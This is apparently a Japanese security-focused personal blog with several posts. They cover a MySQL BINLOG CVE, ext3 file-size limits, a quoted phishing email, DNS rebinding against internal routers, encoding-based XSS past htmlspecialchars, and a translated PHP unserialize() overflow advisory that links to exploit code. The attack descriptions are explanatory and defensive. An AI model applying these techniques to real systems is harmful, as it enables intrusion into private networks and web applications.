Overview MySQL 5.1.x before 5.1.23 might allow attackers to gain privileges via unspecified use of the BINLOG statement in conjunction with the binlog filename, which is interpreted as an absolute path by some components of the product, and as a relative path by other components. Impact CVSS Severity (version 2.0): CVSS v2 Base score: 10.0 (High) (AV:N/AC:L/Au:N/C:C/I:C/A:C) (legend) Impact Subscore: 10.0 Exploitability Subscore: 10.0 Access Vector: Network exploitable Access Complexity: Low **NOTE: Access Complexity scored Low due to insufficient information Authentication: Not required to exploit Impact Type: Provides administrator access, Allows complete confidentiality, integrity, and availability violation , Allows unauthorized disclosure of information , Allows disruption of service
MySQL 5.0系の最新版は5.0.51ですが、これには上記の脆弱性の修正が含まれているか気になったので調べてみました。
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2007-5969
これは同じ日付のMySQL 5.0.51のCVEエントリです。これにはBINLOGの脆弱性に関する記述がありませんでした。リリースノートのURLがあったので見てみましたが以下のリリースノートにの記述がありませんでした。(現時点で)
5.0.51のリリースノート
http://dev.mysql.com/doc/refman/5.0/en/releasenotes-cs-5-0-51.html
5.0.52のリリースノート(現時点では、Enterprise版のユーザしかダウンロード出来ない?)
http://dev.mysql.com/doc/refman/5.0/en/releasenotes-es-5-0-52.html
5.0.54のリリースノート(現時点ではまだダウンロード出来ない)
http://dev.mysql.com/doc/refman/5.0/en/releasenotes-es-5-0-54.html
5.0には影響ない?
5.0.51で修正?
5.0.52で修正?
5.0.54で修正?
どれなのかよく分かりません。分かったのはMySQLはコミュニティ版とエンタープライズ版でセキュリティパッチリリースを差別化している事です。5.0.52にもセキュリティフィックスが記載されています。つまり最新のコミュニティ版の5.0.51では不十分です。探せばダウンロードできるのか?アカウントを取ればダウンロードできるのか?いづれにせよどれが最新で安全なのか分かりづらいです。
リポジトリへのコミットを見ていればセキュリティパッチを見分けてインストールする事も可能ですが、とても一般向けとは言い難いです。
MySQL 6.0のバージョン管理にはBitKeeperを利用しているようです。5.1、5.0はsubversionのようなので今はまだよいですが、BitKeeperも障壁の一つになりそうです。リポジトリ自体にアクセスしてみよう、と思ったのですが少しググっただけではどこへアクセスすればよいのか分かりませんでした...
追記
しばらくしてからまた新しいMySQLのCVEが出ています。
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2007-5970
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2007-6303
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2007-6304
新しい方は明確にかいてあるので古い方はどうなの?と思わなくてもよいようになっています。
フィードバックはまだありません...
コメントを残す
ext3の最大ファイルサイズは2TBでなく16GB?!
24GBのファイルをコピーしようとしてエラーになり??な話です。大きなファイルを使いそうなファイルシステムにはXFSを利用していたので気が付きませんでした。
sshfsでマウント先のファイルシステムにコピーしようとしたら16GBでエラー、クラッシュした為と思いますが勝手にumountされました。sshfsの制限かな?とscpにしても同じ、4GBにsplitしてコピー後にcatしても16GBちょうどでエラーなのでググるとKernel 2.4の制限が出てきました。
http://www.ussg.iu.edu/hypermail/linux/kernel/0403.3/1673.html
Depends upon the block size.
Block size file size
1 kb 16 GB
2 kb 256 GB
4 kb 2048 GB
8 kb 2048 GB
2.4カーネルのこの制限はそのまま2.6カーネルのext3にも引き継がれているいたようです。
# 追記を参照
古いe2fsprogsの場合、mkfs -t ext3で作られるデフォルトのファイルシステムのブロックサイズは1KBなので最大ファイルサイズはたったの16GBになります。
"ext3 filesize"くらいでヒットしても良さそうですが出てきませんでした。"ext3 16gb filesize"でやっと適切な検索結果になりました。やはり大きなファイルを使う場合はXFSですね。
他のキーワードでも試してみました。
- エラーメッセージだけ: "ファイルサイズ制限を超過しました" ext3の制限は出てこない
- エラーメッセージとファイルサイズ: "ファイルサイズ制限を超過しました" 16GB ext3の制限はでてこない
もう少し検索してみると「"ファイルサイズ" 16GB linux」でやっとKernel 2.4の翻訳に当たりました。
私もXFSだったので困ることは今まで無かったですし、皆さんも16GBの壁にはあまり困っていないのかな??
追記:
smbdさんに教えてもらった有用なリンク:
- ファイルシステム諸元
- ext3 諸元拡大に関する研究開発動向、及び改造方式の検討
http://lc.linux.or.jp/paper/lc2006/CP-09.pdf
後のPDFにおもしろい事が書いてあります。PDFに記載されているext3の最大ファイルサイズの拡張は2.6.17-rc1で取り込まれ
ブロックサイズ: 4KB 最大ファイルサイズ: 4TB
ブロックサイズ:64KB 最大ファイルサイズ: 256TB
まで拡張されている、としています。ということはこのエントリのタイトルは「ext3の最大ファイルサイズは256TBでなく16GB?!」になるのかも知れません。それとも、ブロックサイズ128KBとかできる?
追記2:
最近のe2fsprogsはデフォルトのブロックサイズは4096byteになっています。320GBのSATA HDD 2本でRAID1にしていた/dev/md0の全体がext3でフォーマットされていたので最近フォーマットされた、と思っていたのですがブロックサイズが1024byteであった事を考えるとkernel 2.4くらいのシステムでフォーマットされていたパーティションだとと思います。3年か4年前くらいに購入したテスト用のPowerEdge800なので何度かOSを入れ替えているのですが/dev/md0は相当古い(?)linuxでフォーマットしたか、mkfs.ext3のデフォルト値が小さいシステムでフォーマットしたのだと思います。
気になたのでいつ頃から4KBブロックサイズがデフォルトになったか調べてみました。
Fedoraのe2fsprogsパッケージのChangeLogによるとS/390とzSeriesは2002年に4KBブロックサイズがデフォルトになったようです。
* Mon Jun 17 2002 Karsten Hopp <karsten @redhat.de>
- set default blocksize for mke2fs on S/390 and zSeries to 4096
ソースを見た方が正確なのでe2fsprogs-1.39のdoc/libext2fs.texinfoによるとまだ1KBがext2のデフォルトだと書いてあります。(ext3の記述は見つからず、ただext3はext2+ジャーナルの構造なのでブロックサイズなどは同じだと思います)
lesystem. Valid values are 0 (1024 bytes), 1
(2048 bytes), or 2 (4096 bytes). The default blocksize is 1024 bytes.
どうもtexinfoファイルはアップデートされていないようなのでコードの方を見てみました。
misc/mke2fs.cがmkfs.ext2, mkfs.ext3のコードでe2fsprogs-1.39のソースだと1221行目にデフォルト値が設定されています。
} else {
retry:
retval = ext2fs_get_device_size(device_name,
EXT2_BLOCK_SIZE(&fs_param),
&dev_size);
if ((retval == EFBIG) &&
(blocksize == 0) &&
(fs_param.s_log_block_size == 0)) {
fs_param.s_log_block_size = 2;
blocksize = 4096;
goto retry;
}
}
git-annotateによると"2005-01-27 19:07:26"にデフォルトブロックサイズの行が変更された事になっています。
20953129 (Theodore Ts'o 2005-01-27 19:07:26 -0500 1244) blocksize = 4096;
# これはe2fsprogsの開発版なのでデフォルト値を設定している
# 行が1.39と異なっています。
最近のシステムであれば4KBブロックサイズがデフォルトだと思います。この為、4TB(システムによっては2TB)が最大ファイルサイズになるのでext2/ext3の最大ファイルサイズは4TBと考えて問題ないと思います。
mke2fs.confをサポートしているe2fsprogsの場合(ほとんどのlinuxはサポートしていると思いますが)/etc/mke2fs.confでもデフォルトのブロックサイズを設定/参照できます。
[defaults]
base_features = sparse_super,filetype,resize_inode,dir_index
blocksize = 4096
inode_ratio = 8192[fs_types]
small = {
blocksize = 1024
inode_ratio = 4096
}
floppy = {
blocksize = 1024
}
news = {
inode_ratio = 4096
}
largefile = {
inode_ratio = 1048576
}
largefile4 = {
inode_ratio = 4194304
}
最近のext3ファイルシステムはディレクトリエントリでB-Tree検索をサポートしています。mkfs.ext3のコマンドのオプションで指定してもよいですが/etc/mke2fs.confに記述してもよいです
もし、ブロックサイズが分からないまたは気になる場合は
dumpe2fs /dev/sda1 | less
等とするとブロックサイズを確認できます。
1 コメント
ちなみに、ファイルシステムの block size は tune2fs -l で見ることができます。
コメントを残す
安全性について知っておくべき事
パスワードの解読にも『PS3』が活躍
http://wiredvision.jp/news/200711/2007113023.html
PS3で米大統領選の結果を「正確に」予知?…実はMD5脆弱性への問題提起
http://slashdot.jp/security/07/12/02/1931233.shtml
PS3は演算処理性能が高くFoldings@HomeのClient statistics by OSをみるとPCの値に比べおよそ26倍の性能した。
「パスワードの解読にも『PS3』が活躍」の記事では100倍の性能を達成とあります。この100倍が意味するのはランダムな文字列の難しいパスワードを解読するのに100年かかっていたのが1年で済む、1000時間かかっていたのが10時間で済む、と言うことです。時間的にクラッキングが実用的ではなかった物が十分実用的になったと言えます。
「PS3で米大統領選の結果を「正確に」予知?…実はMD5脆弱性への問題提起」はアルゴリズムとハードウェアの向上により、数年前から予測されていた「同じMD5値を生成する事は簡単になる」状態になったことが実証された事になります。
Microsoft等のソフトウェア会社大手では随分前にMD5の利用を止めています。SHA1が同様な状態になるまではまだまだ時間が必要ですが時間の問題となってきたのかも知れません。
ところで、Webシステムの中にはいまだにパスワードをプレインテキストで保存している所が多数あります。メールで「パスワード」を教えてくれる大手サイトも少なくありません。最低限、SHA1ハッシュでパスワードは保存しましょう... できればsalt付きで。
パスワードの最大文字数が少なすぎるサイトも稀に見かけます。パスワード文字列が少なすぎるサイトなら簡単にクラックされる可能性があります。256バイトくらいは入力できるようにしておいた方が良いでしょう。数年前の研究結果だったと思いますがその論文によると、文章になっている長い文字列のパスワードの場合、辞書に載っている単語ばかりを利用していても十分な強度持っているとされていました。
フィードバックはまだありません...
コメントを残す
PHPで実装されたベイズフィルタ
PHPで実装されたベイズフィルタを見かけました。
http://www.atomicmpc.com.au/forums.asp?s=2&c=10&t=4466
ライセンスはGPLライセンスです。
ソースコードを見ると当然ですが半角スペースでトークンに分解しているので日本語では使えません。しかし、mecabなどを使用して使えるようにするのはそう難しくありません。もともとベイズフィルタは難しいアルゴリズムではないので読むと直ぐに理解できると思います。PHPで利用できる形態素解析モジュールは幾つかあります。
しばらく前には毎日数百のコメントスパムが送信されてきていました。b2evolutionデフォルト設定でコメントのモデレートが必須化されてから時間が経過してきたので今はかなり減ってきています。必要性は減ってきてはいますが時間があったら改善したい所です。
フィードバックはまだありません...
コメントを残す
日本仕様のメールアドレス...
言いたいことのほとんどが書いてある素晴らしいブログ記事です。
ドコモもauもいいかげんにメールアドレス設定の仕様を直せ。
http://neta.ywcafe.net/000799.html
ドコモもauもいいかげんにメールアドレス設定の仕様を直せ。の続きと補足
http://neta.ywcafe.net/000803.html
AuはMNPを機会にDoCoMoの独自仕様メールアドレスと同じにしたと記憶しています。いい加減にしてほしい、と強く感じたのでよく覚えています。KDDIに至ってはDion等でも他のメールサーバやクライアントで受信できないメールアドレスを作成できるようにしているようです。まさに嘘を隠すためにまた嘘をついている状態です... しばらくすれば事態は良くなると思っていたのですが悪くなっているようです...
ルールを守りたくないなら中国のように独自TLDでも作って(そういった計画があったと聞いていますがその後どうなったかは不明)その中でやれば良いでしょう。ユニバーサルに使えない自爆メールアドレスを作ってしまうのはエンドユーザの問題ではなく、サービス提供者の姿勢の問題だと思います。
いくら技術が分からない人間でも「他のキャリアの電話をかけようとした時に電話できなかったら困りますよね?同じよう他のメールサーバ宛にメール送信しようとしたときにメールが送信ができなかったら困りますよね?」といった単純な議論も通用し無いのでしょうか? すでに作ってしまったメールアドレスを強制的に変えるのは難しくても、新しいアドレスは標準に則ったアドレスのみ許可するのは簡単です...
RFCが絶対か、というとRFC通りに作ると動かなくなるものもあるのでそこは適当に対処しなければならない場合もあります。しかし、わざわざ動かなくなる(メールの送受信に問題発生する可能性がある)メールアドレスを作れるようにするのは責任ある企業として適当な対応とは言えないと思います。
フィードバックはまだありません...
コメントを残す
公開し忘れたブログを公開
ブログアプリを更新したのでダッシュボート機能が使えるようになりました。
最近のコメント、未公開のブログ、最近編集したブログが参照できるようになりました。かなり公開し忘れていたブログがありました。
いくつは削除して、いくつかは記録の為に公開状態にしました。2,3年前のブログも含まれているので多少場違い(時期違い)な感じがするかと思います。
一つ困った事は以前のブログではタイトルをクリックすると参考にしたURLへリンクされていたのですが、現在は各ブログのページが表示されます。近いうちにテンプレートを修正したいと思います。
フィードバックはまだありません...
コメントを残す
「プロフィールが未設定となっております。」 Yahoo!を語るフィッシング?
備考:かなり古いブログですが公開し忘れしていた分です。
次のようなメールが来ました。一瞬、Yahoo!のメールかと思いました。
From: (profile_page_mail)@yahoo.com <profile_page_mail@yahoo.com>
To: (yohgaki)@ohgaki.net <yohgaki@ohgaki.net>
Subject: プロフィールが未設定となっております。プロフィールが未設定となっておりますので、プロフィールを作成下さいませ。
すべてが無料となっておりますので、ご自由にご利用出来ます。↓のURLからプロフィール作成が簡単に行えます。
(http)://www.profile-page.com/?member&mail=yohgaki@ohgaki.net
From:はyhoo.comドメインに偽装しています。
「120% SPAMメールだな」と思いましたがリンク先を確認してみる為にクリック。
やはり出会い系サイトのプロフィールを入力するページが表示されました。一目見てYahooとは関係ないと分かるサイトです。ページには
会員の方々のプライバシーの保護、および個人情報のセキュリティには万全を期しています。
あなたが当会の会員であることをはじめ、あなたの個人情報が外部に漏れることはありませんので、ご安心ください。
と書いてありますが、Phishingメールに載っているようなサイトが信頼できるはずがありません。
このメールはFromアドレスを偽造しているのでSPAMというよりPhishingと言った方が適切と思います。送信元を偽ったメールを送っても罪にはならないかな?
Phishingの危険性はサービス開始当事にあまり認識されていなかったとは言え、Yahoo!メールはgmail.comやhotmail.comの様に一目でフリーメールだと分かるドメイン名の方が良かったですよね。
フィードバックはまだありません...
コメントを残す
coLinuxのパーティションを大きくする
備考:かなり古いブログですが公開し忘れしていた分です。
coMomongaのパーティションは3GBで小さく手狭になってきたのでパーティションを大きくしようと思い調べてみました。
coLinuxのパーティションサイズを変更するにはTopoResizeが利用できるようです。このツールを使ってディスクイメージも作成できるようです。折角TopoResizeがあるので試してみる事にしよう、と思ったらリンク先にないですね。
他にも既に作成済みのディスクイメージをダウンロードしてしまうと言うお手軽な方法もあるようです。
空のイメージ http://gniarf.nerim.net/colinux/blank/
スワップ http://gniarf.nerim.net/colinux/swap/
ext3 http://gniarf.nerim.net/colinux/fs/
追加するだけならこれらのファイルを使用するのが一番簡単と思います。
Linuxを持っている方なら
dd if=/dev/zero of=colinux.img bs=1024 count=1G
mkfs.ext3 colinux.img
等としてもイメージが作成できそうです。odで最初の方のダンプしてかるーく最初方だけ見ただけなので実際には試していませんが。特別なデータは書いてなさそうだったので多分大丈夫でしょう。TopoResizeの様にext2/ext3パーティションの拡張等もLinuxにイメージを持ってきて普通にリサイズすれば出来そうです。
TopoResizeがあれば試してみたかったのですが仕方が無いのでLinux上で拡張してみる事にしました。
フィードバックはまだありません...
コメントを残す
リファラの表示は止めましょう
備考:かなり古いブログですが公開し忘れしていた分です。
前にも書いたと思いますが、一般に公開する画面でリファラ表示は止めるようにした方よいと思います。以前に比べてリファラが一般に広く公開されているサイトは少なくなりましたがまだまだ沢山あります。
リファラSPAMでbotを使っていると思われるSPAMが常識になっています。IPはリクエスト毎に異なり、短時間に大量のリファラを残す事もほとんどなくなりました。中にはリクエスト先のURLも異なる物もあります。
こうなるともうほとんど普通のリクエストとリファラSPAMは区別できません。インターネットユーザにできる自衛策は「みんながリファラを公開しない」「おかしなリファラをクリックしない」しかありません。
フィードバックはまだありません...
コメントを残す
改訂版PHPポケットリファレンスに載るはすだったページ
備考:かなり古いブログですが公開し忘れしていた分です。
改訂版PHPポケットリファレンスに載るはずだった「言語仕様」に関する記述をWikiに載せました。私が直接聞いた感想ではこの言語仕様のページを気に入っているとおっしゃる方も多かったです。短いのでPHPをまったく知らない方が感じをつかむには便利(?)かも知れません。
フィードバックはまだありません...
コメントを残す
セキュリティ対策の基本とセーフガード
備考:かなり古いブログですが公開し忘れしていた分です。
セキュリティ対策の基本とセーフガードを
セキュリティ対策の基本は
-外部システム(人間を含む。DNS、メールのデータ等も)は信用しない
-信用できないデータは確実に確認する
-外部システムに出力する場合は外部システムの仕様に従った形式で出力する
ですがセーフガードの話をしているのに「本来セキュリティは...」と説明し始めるケースがよくあります。
セーフガードは「問題が発生しても問題を最小限に留める仕組み」であるのでセーフガードの話をしているのに「本来セキュリティは ...」と議論をすりかえられては議論になりません。セーフガードが必要無いならJavaやC#なんて使わなくてもC++を使ってポインタをバリバリ操作すれば良いです。JavaにもSandboxなんて必要ないです。PHPのopen_basedir設定も無用です。OSでNXビットをサポートする必要もないし、アンチウィルスソフトも必要無いです。
基本を解ってない人と話をするのは骨が折れます...
フィードバックはまだありません...
コメントを残す
Anti DNS Pinning/DNS Rebinding/DNS multi-pinning
備考:かなり古いブログですが公開し忘れしていた分です。
この話題はどちらかというとWebブラウザとプラグインの問題と言えるので書いていませんでした。Web開発者としては早く直してほしい問題ですがサーバのコードを書く側としては対策をできません。なぜかこの話題の日本語リソースがあまり無いようです。とりあえず私のブログにも書いておくことにします。
WebブラウザとプラグインはSame Originポリシーで守られています。基本的にはXMLHttpRequest、Javaアプレット、Flashはそのコードを送ったサーバにのみリクエストが送信できるようになっています。クッキーもコードを送ったサーバ(ドメイン)のクッキーにのみアクセスできるようになっています。
Same Originポリシーが無いと悪意があるサイトにアクセスするだけでいくらでもクッキーに保存されたセッションIDなどを盗めます。これを防ぐ為にブラウザはDNS Pinning(IPアドレスを固定するセキュリティ対策)と呼ばれる手法を利用しています。
DNS Pinningが無いとファイアーウォールで保護されている内部のコンピュータにアクセスしたり、IPアドレスベースでの認証の回避が可能になります。DNS Pinningが無い場合にどのように攻撃されるか簡単に解説します。
DNS Pinningの必要性
ブラウザがURLを解釈する際、ホスト名をIPアドレスに変換するためにDNSサーバに問い合わせを行います。サーバ名はDNSによって管理されサーバのIPアドレスは必要に応じて自由に変更できるようになっています。
攻撃者がドメインを管理して、悪意があるDNSサーバを運用している場合、ブラウザからの最初の問い合わせには実際に存在する攻撃用のページをホストしているサーバのIPアドレス(通常のグローバルIPアドレス)を返します。
仮に攻撃用のURLは次のURLだとします。
http://www.example.jp/attack.html
被害者がURLにアクセスさせる攻撃用attack.htmlのコンテンツにはXMLHttpRequestを利用してwww.example.jpサーバにリクエストを送信するJavaScriptを記述します。ページが記述してあるwww.example.comとXMLHttpRequestの送信先であるサーバ(www.example.com)は同じサーバであるのでブラウザはアクセスを許可します。
DNS Pinningが無い場合、ブラウザはサーバ名を解決するためにDNSで再度名前の解決を行います。攻撃者がホストしている悪意のあるDNSサーバはwww.example.comの名前解決リクエストがきた場合は内部のIPアドレス、例えば192.168.0.1、192.168.0.2、192.168.0.3等を返させます。この様なDNSサーバを用意することにより攻撃者は簡単に本来アクセスできてはならない内部ネットワークのコンピュータにアクセス可能になります。
例えば、IPアドレスが192.168.0.1のコンピュータはSOHOルータでCSRFに脆弱な場合、Firewallを無効にしたり、VoIP対応ルータの場合通話を盗聴されたりVoIPサービスを不正利用される可能性があります。さらなる攻撃を行うために内部ネットワーク構成のスキャン等を行う事も可能になります。
この様にDNSによって名前の解決を毎回行っていると内部ネットワークへの不正アクセスを許してしまいます。これを防ぐためにブラウザやブラウザの拡張はDNS Pinning(DNSリクエストのキャッシング)を行います。同じサーバ名にリクエストを送信する場合、DNSによって名前の解決を行わず既に解決済みの結果を利用します。
このように解説すると、悪意のあるDNSサーバを用いた攻撃は明白で全ての実装が最初からこのような攻撃を考慮していたはず、と思われる方もいるかも知れません。しかし、実際にJava AppletがDNS Pinningを実装していなかったり、XMLHttpRequestオブジェクトがDNS Pinningを実装していかったりしたケースがありました。
攻撃例としてFirewall設定の変更やVoIPの不正利用を取り上げていますが、実際にAnti DNS Pinning/DNS Rebidingを利用したFirewall設定の改竄やVoIPの不正利用などの攻撃は行われています。
Anti DNS Pinning/DNS Rebinding
Anti DNS Pinningは名前が示すとおりDNS Pinningを回避する手法の名前です。Stanford大学の論文でより直感的に分かりやすい名前としてDNS Rebindingが利用されています。DNS RebidingはAnti DNS Pinningの別名と考えても差し支えありません。
書きかけです。近日中に再編集します。
2 コメント
コメントを残す
Python 3000は良いですね。
リンク: http://gihyo.jp/dev/feature/01/python/0004
備考:古いブログですが公開し忘れしてい分です。
PHP5/PHP6の開発もPython 3000 (Python 3.0)のようになれば素晴らしいのですが、難しいでしょうね...
後方互換性は非常に重要です。今まで動いていたプログラムがバージョンアップしたら動かなくなる、と言う事態は開発者であれば誰でも避けたいものです。しかし、後方互換性を重視するあまりツジツマが合わなくなる事がよくあります。時間と共に合わなくなったツジツマはだんだんと大きくなっていきます。最初のうちは合わないツジツマはあった方が良い物ですが、だんだんと使い辛いものなっていきます。
些細な事ですがPHPの場合、古い関数の命名規約は「thisisfunctionname」と単語の区切りを付けないルールでしたが今のルールは「this_is_function_name」と単語を_で区切るルールになっています。この為、システムにデフォルトで含まれる基本的な関数であっても2つの命名規約に則った関数名が使われています。PHPには関数のエイリアス機能があるので新しい命名規約に則った関数名と古い関数名両方が存在しても問題無く利用できる機能があります。にも関わらず新しい命名規約に則った関数は作られていません。(と言うより反対する人がいるので作れなかった)クラス名や関数名も最近の言語に習って大文字・小文字を区別する方が良いと思いますが、これも実現できませんでした。(PHP5開発の際に議論されたが却下)
代わりにPHPプロジェクトが選択している仕様変更の手順はメジャーバージョンアップ、マイナーバージョンの度に徐々に少しずつ仕様を変更していく手順を取っています。strtotimeが失敗した場合の戻り値が-1からfalseに変更されたのもその一例です。
Python 2.xとPython 3.xが描いているようなアップグレードが言語として理想的なアップグレードの一つだと思います。
フィードバックはまだありません...
コメントを残す
Webにポップアップは必要か?
リンク: http://itpro.nikkeibp.co.jp/article/NEWS/20060406/234682/
備考:かなり古いブログですが公開し忘れしてい分です。
銀行サイトにアクセスすると偽のログイン用のポップアップを掲載するトロイの木馬が現れたそうです。機会があるたびに「ポップアップはしない方が良い」「アドレスバーを隠すのは最悪」と言っていましたがIT Proの写真を見ると「Window」としてポップアップするのではなく、「レイヤー」としてポップアップしているようにも見えます。Windowの部分にはアドレスバーが無いので画面全体のWindowsがポップアップとして表示されるのかも知れません。このようなトロイの木馬は予想はしていましたが実際に現れるのは困ったものです。
以前からログインにポップアップは有害と言っていましたが、海外とは言え実物が出てくるとリスクは以前より大きくなったと言えると思います。例え自分のサイトが価値の高いサービスをしていなくてもWebのデザインとしてポップアップは避けるべきと思います。普通のユーザがポップアップに慣れてしまうと偽のポップアップが開いたときに少しは「あれ?」と思っても偽のポップアップに重要な情報を記入してしまうかも知れません。
# トロイの木馬がインストールされている時点でほとんどアウトですが。
# しかし、こんな事をするよりキー入力をログした方が簡単に思えます。
# キー入力をログするより見つかりづらい、と思ったのでしょうね。多分。
随分前にも書きましたが、例えば振込みなど資金の移動が伴うような処理の場合、別のセキュアなデバイスで送金情報を表示してデジタル署名するような仕組みにしないと、オンラインバンキング等は攻撃対象になり続けるのでしょうね。PCやブラウザは信用できないですかね...
今思いついたのですがより簡易な方法として2重にメッセージダイジェストを取る方法だと、PCと携帯が通信しなくても安全性を確保できますね。
トランザクションのメッセージダイジェストをPCに表示
携帯のアプリでメッセージダイジェストをさらに共通の秘密情報含めた値でメッセージダイジェストを計算
利用者はダイジェスト値も入力してトランザクションを送信
と言った感じで処理すればよいですね。実際にPCと携帯が通信しなくてもよい分、今すぐにでも実装できますね。
フィードバックはまだありません...
コメントを残す
Parallels Desktopインストール後にVistaが起動しない場合の対処
BootcampのVistaのVMを訳あってVMWare FusionからParallels Desktopに切り替えようとしたのですが、VMからブートしなくなりました。VMWare Toolsは予めVMWare Fusionで起動中に削除しています。Parallelsが入力をトラップしてしまうのかOSXのマウスも
Bootcampで直接Windows Vistaを起動しようとすると、BUGCODE_USB_DRIVERとかいうメッセージがブルースクリーンなって出ていました。その後もう一度Bootcampからブートしようとするとprlfs.sysを読み込んだ時にブルースクリーン...
Parallels関係っぽいドライバなのでセーフモードのコマンドプロンプトからc:\windows\system32\drivers\prlfs.sysを削除するとブートできるようになりました。(とりあえずParallelsからブートして、Bootcampでのブートは試してません)
別に電源ボタン長押しで切っても大丈夫だと思いますが、Vistaにもshutdownコマンドがあるのでshutdown /sなどとするとシャットダウンできます。
コマンドは以下の通りです。システム管理者アカウントで実行
cd c:\windows\system32\drivers
del prlfs.sys
shutdown /s /t 0
ParallelsでWindows Vistaを起動後、Parallels Toolsを再インストールすると正常に動作すれば良いのですが、また同じ症状になりました。
最初にParallelsをインストールしたときも素直には動作しませんでした。VMWareに比べていろいろやり過ぎている(?)のか気の利いたツールや機能は多いのですが、VMWare Fusionと比べると安定性にはかなり劣る気がします。
フィードバックはまだありません...
コメントを残す
銀行のキャッシュカードに有効期限をつけたらどうでしょう?
リンク: http://kengo.preston-net.com/archives/002659.shtml
一般の利用者の安全性確保もできますし、不正口座を無くすにもかなり効果的だと思います。クレジットカードだと損害を補償しなければならないがキャッシュカードだと保障しなくても良い場合が当たり前だったので「キャッシュカードに有効期限をつける」と言う発想は金融機関になかったのだと思います。キャッシュカードにも有効期限をつけた方が良いですね。
結構知られている(?)と思いますが1985年までに作られたキャッシュカードには暗証番号が記録されている物もあるそうです。比較的最近のキャッシュカードでも一部を書き換えするだけで利用できてしまうカードもあるようです。今はこういったカードを持っているATMを利用すると自動的にアップグレードされたりするでしょうか?それとも最低限、キャッシュカードを更新する必要がある旨のメッセージが表示されたりするのでしょうか?
ネット取引用にOTP(One Time Password)を採用している銀行もありますが、ネット取引の安全性を担保するには別デバイスでのトランザクションの認証が一番安全だと思います。随分前、ソフトウェアキーボードがセキュアキーボードと呼ばれていた頃にこのブログに実装案(携帯等で取引を確認後に署名する方法)を書きましたが今のところ似たような方法を採用した銀行は知りません。誰も思いつきそうな方法ですが、もしかして特許の問題などがあるのかも知れませんね。
これならどうでしょう?トランザクション番号を携帯などの別端末から入力して認証を取った取引だけ許可するとか? これなら特許問題が発生するような
1 コメント
コメントを残す
htmlspecialcharsは脆弱
リンク: http://wiki.ohgaki.net/index.php?PHP%2F%C0%C8%BC%E5%C0%AD%A5%EA%A5%B9%A5%C8%2FPHP5#content_1_19
PHPにはHTMLの文字列として出力する関数が2種類あります。
- htmlspecialchars() <,>,&,',"等のHTML特殊文字をエンティティ化する
- htmlentities() HTMLエンティティ化が必要な文字全てをエンティティ化する
あまり脆弱性に関係なさそうですが文字エンコーディングとの組み合わせで攻撃に利用される可能性があります。このようなシナリオです。BBSやブログのコメントなどユーザが送信したデータをHTMLページの一部として表示するアプリケーションがあるとします。
- ワザとアプリケーションが期待している文字エンコーディングと異なる文字エンコーディングでデータを送信し、その中にJavaScriptを実行可能なデータを入れる
- データが保存されページが表示された際には異なる文字エンコーディングのデータが表示され文字化けする。
通常、文字化けしたページが表示されるにとどまる場合が多いと思われますが以下の状況が考えられます。
- 文字エンコーディングが指定されていない場合、ブラウザが文字エンコーディングを自動判別し本来の文字エンコーディングとは異なる文字エンコーディングが利用されていると判断しJavaScriptが実行される。
- ユーザが文字化けしたコンテンツを参照するために「明示的」に文字エンコーディングを変更し、その際にJavaScriptが実行される
htmlspecialcharではISO-2022-JPのマルチバイトスタート文字列などはエンティティ変換されないため意図した文字エンコーディング以外でページが表示された場合、JavaScriptが実行される可能性があります。htmlentitiesで変換していれば指定された文字エンコーディング以外のデータはエンティティ変換されます。このため意図した文字エンコーディング以外の文字エンコーディングでページが表示されてもJavaScriptが実行されることはありません。
本来、すべてのアプリケーションはユーザからの入力等が正しい文字エンコーディングがあるかチェックし不正なエンコーディングが含まれている場合はエラーとして処理を停止すべきです。このように正しく入力をチェックしている場合はhtmlspcialcharsを利用していても問題が発生する事はありませんが、このチェックが無い場合はhtmlentitiesを使用していないとJavaScriptインジェクション(XSS)に対して脆弱になります。
UTF-7エンコードされたタグ文字列によるXSS脆弱性に注意
http://slashdot.jp/security/article.pl?sid=05/12/21/2318216
これはUTF-7を使用した例です。scriptタグを隠すSJIS、EUC-JP、ISO-2022-JP等を利用した攻撃例も知られています。
1 コメント
コメントを残す
MOPB-04-2007:PHP 4 unserialize() ZVAL Reference Counter Overflow
リンク: http://www.php-security.org/MOPB/MOPB-04-2007.html
"the Month of PHP Bugs"をできるだけ多くの方が読めるように、Stefanさんの承諾を得て日本語訳を公開しています。このブログの「the Month of PHP Bugs」カテゴリがMOPBの翻訳ページを一覧できます。分かりやすいように意訳できる部分は意訳します。厳密に原文の通り訳していないので正確性を重視される方は原文をご覧ください。
■クレジット
発見者: Stefan Esser
攻撃コード:Stefan Esser
■PoCまたは攻撃コード
MOPB-04-2007.php
http://www.php-security.org/MOPB/code/MOPB-04-2007.php
■リファレンス
MOPB-01-2007
http://www.php-security.org/MOPB/MOPB-01-2007.html
■サマリ
「The Month of PHP Bugs」はPHP4の16ビットリファレンスカウンタの攻撃方法の一つから始まりました。紹介した攻撃方法はローカルアクセスが必要でした。しかし、PHPはこれらのオーバーフローから防御を全く行っていないので、別のアタックベクタ(攻撃経路)も存在します。unserialize関数を用いるとリモートからこの攻撃を利用でき、phpBB2など、広く利用されている多くのPHPアプリケーションが現在でもunserialize関数をユーザが送信したデータに利用しています。
■影響するバージョン
PHP 4.4.4以下
PHP開発者はこの重要なセキュリティバグフィックス情報をPHP4.4.5リリース情報に記載する事を忘れています。
■詳細情報
一般的な16ビットのリファレンスカウンタ問題はMOPB-01-2007で、どのようにオーバーフローが発生しそれが任意コード実行を可能にするか解説済みです。
ここではシリアライズされたPHP変数をunserialize関数でアンシリアライズを行うことによりこの脆弱性がリモートから攻撃可能であることを解説します。PHPはオブジェクトの__wakeupメソッドを呼び、意図しないスクリプトが実行される可能性があるためunserialize関数をユーザ入力に利用するのは決して良いアイデアではありません。しかし、PHPマニュアルでは「長い間データ交換フォーマットとして利用され、phpBB2のように、多くの人気の高いPHPアプリケーションでクッキーに保存されたシリアライズ済みのデータのデコードに利用されています。」としています。
攻撃者が設定した文字列にunserilize関数を使用すると、任意コード実行が可能となるZVALのリファレンスカウンタオーバーフローが発生する可能性があります。
次のgdbのデバッギングセッションは、phpBB2 2.0.22に対して、どのようにリモートから攻撃を行なったか表しています。
